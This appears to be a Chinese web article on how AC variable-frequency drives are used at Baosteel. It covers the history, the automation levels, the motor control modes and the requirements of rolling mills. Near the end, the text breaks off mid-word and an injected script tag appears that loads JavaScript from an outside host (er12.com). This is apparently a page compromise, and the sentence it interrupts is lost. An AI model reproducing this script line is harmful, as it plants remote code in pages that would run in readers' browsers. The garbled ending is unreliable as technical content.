宝钢交流变频器应用概述

引言

1变频器在宝钢的应用历程

(1)宝钢在一期建设(1985年9月以前):宝钢设备的电气传动大多是采用直流电机调速装置。特别是主轧线全部采用大容量直流电机传动。

(2)二期建设(1985年9月~1991年10月):设备的电气传动少量采用交流变频调速技术,且为模拟量控制。例如2050热轧r3机架采用同步电机,变频器为模拟量控制。

(3)三期及以后的建设中(1993年以后至今):大量采用交流变频调速技术,且为全数字化控制。

随着电子技术和交流变频调速技术的迅猛发展,原直流电机存在的换向和换向器、电刷等部件维护工作量较大等问题,使其在提高单机大容量、过载能力和降低转动惯量以及简化维护等方面受到了限制,不能满足轧钢机向大型化、高速化方面的发展,新建的热轧,冷轧,炼钢,连铸,高炉等几乎100%采用全交流化传动。

2变频器在自动化系统中的作用

从自动化角度看,过程控制系统分为:

设备级(简称l0)

基础自动化级(简称l1);

过程控制级(简称l2);

上级管理计算机(简称l3)。

过程控制级(简称l2),其主要功能是根据接收上级管理计算机(简称l3)下传的生产计划及工艺要求进行模型计算和优化设定计算;基础自动化级(简称l1)其主要功能是实施优化控制和顺序控制及对生产实绩进行收集;设备级(简称l0)按下传的指令对设备进行直接控制,完成按工艺要求对材料的加工。由于交流变频器(l0)的全数字化,通过现场总线连接,强化了l0与l1的信息集成,便于调试和维护,因而l0(马达控制)已成为自动化控制系统中重要组成部分。

3变频器在宝钢的应用

交流变频器在宝钢具有大量而广泛的应用,变频器的供电装置、变频器及马达三者已成为宝钢生产厂设备的心脏,其应用包括热轧粗轧机、精轧机、飞剪、卷取机、平整机、立辊、活套及辅助生产线;冷轧包括冷连轧;各种处理线及辅助生产线;炼钢包括倾动,氧副枪等;连铸包括大包旋转、结晶器调宽、引锭杆,还有高速线材,钢管,宽厚板等生产线都大量采用变频调速技术。宝钢主生产线上的变频装置随主合同一起引进,由于主线上变频装置属于高电压、大电流、大容量变频装置,技术复杂性高,设备庞大,在选择方案时要十分慎重,主要采用三菱/东芝(tmeic)、西门子、abb、安川、富士、施耐德、罗克韦尔等世界著名电气厂商的产品。

马达控制方式及轧机对变频器的要求

1马达控制方式

马达是根据变频器产生驱动的,变频器的控制方式大致可分为三类:速度控制、电流控制和电压控制。

(1)速度控制(简称asr)

图1马达控制方式

速度控制框图如图1(a)所示,适用于速度控制精度要求高的场合。

图1(a)中:

ref:从plc向变频器传递的速度指令(reference);

fbk:马达的直接速度检测器(plg)信号向变频器反馈(feedback)。

(2)电流控制(简称acr)

电流控制如图1(b)所示。一般用于要求电流恒定的负载。如活套张力控制,卷取机咬钢时带钢的控制。

图1(b)中:

c.ref.:从plc向变频器传输的电流指令;

slc-ref.:从plc向变频器传输的速度极限值;

slc-fbk:马达将速度检测(plg)的信号向变频器反馈;

slc:速度极限控制。

(3)电压控制(简称avr)

电压控制如图1(c)所示,即变频器输出电压/频率的协调控制=v/f控制,一般用于对速度控制精度要求不高的场合。

图1(c)中:

ref.:从plc向变频器传输的频率指令(reference)。

2轧机对变频器的要求

变频器是将工频交流电源变成对马达可控的变频交流电源,向马达供电,实现马达将电能转换成机械能,宝钢生产对变频器的总要求如图2所示。具体来说,应满足:

图2对变频器的要求

图2对变频器的要求

(1)适应电网要求,变频器注入电网的电流谐波和功率因数要满足电网要求;

(2)满足工艺要求(马达),即满足轧钢工艺对轧制功率、转矩、转速、调速范围;

(3)满足传动系统指标要求;

(4)满足信息化要求,即满足与自动化系统硬软件接口的要求;

(5)经济性。

3轧机工艺对电气传动控制性的要求

轧机对电气传动控制性的要求如下:

(1)中厚板热连轧机:粗轧机属于低速,大容量可逆轧机,要求大转矩大过载能力,电机功率5~12mw,转速在50r/min左右,过载2.5倍以上,但对速度精度和动态响应要求不高;

(2)热连轧机:精轧机传动功率大,电机功率5~10mw,但转?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计